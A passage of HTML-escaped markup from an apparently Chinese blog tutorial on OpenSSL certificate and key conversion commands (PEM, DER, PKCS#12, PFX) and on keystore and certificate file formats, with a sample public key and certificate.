&amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;七 转换 pem 到到 spc&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl crl2pkcs7 -nocrl -certfile venus.pem -outform DER -out venus.spc&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;用 -outform -inform 指定 DER 还是 PAM 格式。例如：&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl x509 -in Cert.pem -inform PEM -out cert.der -outform DER&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;八 PEM 到 PKCS#12 的转换&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl pkcs12 -export -in Cert.pem -out Cert.p12 -inkey key.pem&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;九 从用户证书 server.crt提取出公钥文件&lt;/span&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl x509 -outform PEM -in server/server.crt -pubkey -out server/server.pubkey&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;-----BEGIN PUBLIC KEY-----&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDYhJizzt4+zhLMTSjDk0rd6MlK&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;xBYKIp972+Wc9KSpOs5LGQ+2802mlr6dSDWJJhJShArqOIKgxNE7ZBZYlGeDo4l6&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;Dm4DyVFpu62fObgk6vmU8T7nvF8Uo7sQdpfqgUjofGFgUDjB3fYgKUTp+kOj6RMh&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;R3uttrZmOraF/rEUkQIDAQAB&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;-----END PUBLIC KEY-----&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;可以显示公钥信息，手动将其中内容复制到一个文件中做公钥&lt;a href=&quot;http://lib.csdn.net/base/softwaretest&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;测试&lt;/a&gt;成功，但是此命令输出的文件内容不是公钥信息，内容如下：&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;-----BEGIN CERTIFICATE-----&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;MIICpTCCAg6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJjbjEQ&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;MA4GA1UECBMHYmVpamluZzEMMAoGA1UEChMDYW9lMRYwFAYDVQQDEw13d3cuenlu&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;ZXQubXRuMB4XDTEzMDYwMjAxMjIxNloXDTE0MDYwMjAxMjIxNlowbzELMAkGA1UE&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;BhMCY24xEDAOBgNVBAgMB2JlaWppbmcxDDAKBgNVBAoMA0FPRTEPMA0GA1UEAwwG&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;d2l6YXJkMQwwCgYDVQQLDANjb3AxITAfBgkqhkiG9w0BCQEWEnd6aGgxOTg4QGdt&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;YWlsLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA2ISYs87ePs4SzE0o&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;w5NK3ejJSsQWCiKfe9vlnPSkqTrOSxkPtvNNppa+nUg1iSYSUoQK6jiCoMTRO2QW&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;WJRng6OJeg5uA8lRabutnzm4JOr5lPE+57xfFKO7EHaX6oFI6HxhYFA4wd32IClE&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;6fpDo+kTIUd7rba2Zjq2hf6xFJECAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgB&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;hvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYE&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;FOhSP6PH+gt+PZjgIjhLGMMakFfMMB8GA1UdIwQYMBaAFMy18STW93imC2lMDsqI&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;i6P0N+1hMA0GCSqGSIb3DQEBBQUAA4GBAH5nNEEP9HeBI7osag8SKRwu4VICQl5W&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;AkHv08/kbVxd8B6ieI9si+DpHMQMl5Uk44Vz164aEAlkJFL3UEt8XJPpnYmrEM5X&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;jdF4+VmQqPcxsSlxRmk60VMpR+cTZURPweKtbTD8WkszaShG263k+4GWuiERxVJu&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;uL1TUTvMbg6B&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;-----END CERTIFICATE-----&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;直接输入 &amp;nbsp;openssl x509 -in ca.crt -pubkey&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;会看到两个公钥输出，如果将它转换成der格式文件的公钥文件，则没有任何多余输出&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl x509 -in ca.crt -inform PEM -out ca.der -outform DER&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;十 openssl从PFX导出私钥、公钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;从pfx提取密钥信息，并转换为key格式（pfx使用pkcs12模式补足）&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;1、提取密钥对（如果pfx证书已加密，会提示输入密码。）&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;openssl pkcs12 -in 1.pfx -nocerts -nodes -out 1.key&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;2、从密钥对提取私钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;openssl rsa -in &amp;nbsp;1.key -out 1_pri.key&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;3、从密钥对提取公钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;openssl rsa -in 1.key -pubout -out 1_pub.key&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;4、因为RSA算法使用的是pkcs8模式补足，需要对提取的私钥进一步处理&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;openssl pkcs8 -in 1_pri.key -out 1_pri.p8 -outform der -nocrypt -topk8&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;密钥库文件格式【Keystore】&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; JKS&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;扩展名&amp;nbsp; : .jks/.ks&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 【&lt;a href=&quot;http://lib.csdn.net/base/java&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;Java&amp;nbsp;&lt;/a&gt;Keystore】密钥库的Java实现版本，provider为SUN&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 密钥库和私钥用不同的密码进行保护&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; JCEKS&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;扩展名&amp;nbsp; :&amp;nbsp; .jce&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp;【JCE Keystore】密钥库的JCE实现版本，provider为SUN JCE&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 相对于JKS安全级别更高，保护Keystore私钥时采用TripleDES&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; PKCS12&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;扩展名&amp;nbsp; :&amp;nbsp; .p12/.pfx&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp;【PKCS #12】个人信息交换语法标准&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 1、包含私钥、公钥及其证书&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2、密钥库和私钥用相同密码进行保护&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; BKS&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;扩展名&amp;nbsp; : .bks&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; Bouncycastle Keystore】密钥库的BC实现版本，provider为BC&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 基于JCE实现&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : UBER&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;扩展名&amp;nbsp; : .ubr&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 【Bouncycastle UBER Keystore】密钥库的BC更安全实现版本，provider为BC&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;证书文件格式【Certificate】&lt;/span&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; DER&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; .cer/.crt/.rsa&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 【ASN .1 DER】用于存放证书&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; 不含私钥、二进制&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; PKCS7&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: .p7b/.p7r&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 【PKCS #7】加密信息语法标准&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 1、p7b以树状展示证书链，不含私钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、p7r为CA对证书请求签名的回复，只能用于导入&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; CMS&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; .p7c/.p7m/.p7s&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 【Cryptographic Message Syntax】&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 1、p7c只保存证书&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2、p7m：signature with enveloped data&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3、p7s：时间戳签名文件&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp; PEM&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: .pem&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: 【Printable Encoded Message】&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 1、该编码格式在RFC1421中定义，其实PEM是【Privacy-Enhanced Mail】的简写，但他也同样广泛运用于密钥管理&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2、ASCII文件&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3、一般基于base 64编码&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: &amp;nbsp;PKCS10&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;.p10/.csr&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 【PKCS #10】公钥加密标准【Certificate Signing Request】&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;特点&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; 1、证书签名请求文件&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、ASCII文件&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3、CA签名后以p7r文件回复&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;格式&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp; SPC&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;扩展名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :&amp;nbsp;.pvk/.spc&amp;nbsp;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;描述&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 【Software Publishing Certificate】&amp;nbsp;&lt;br style=&quot;box-sizing: 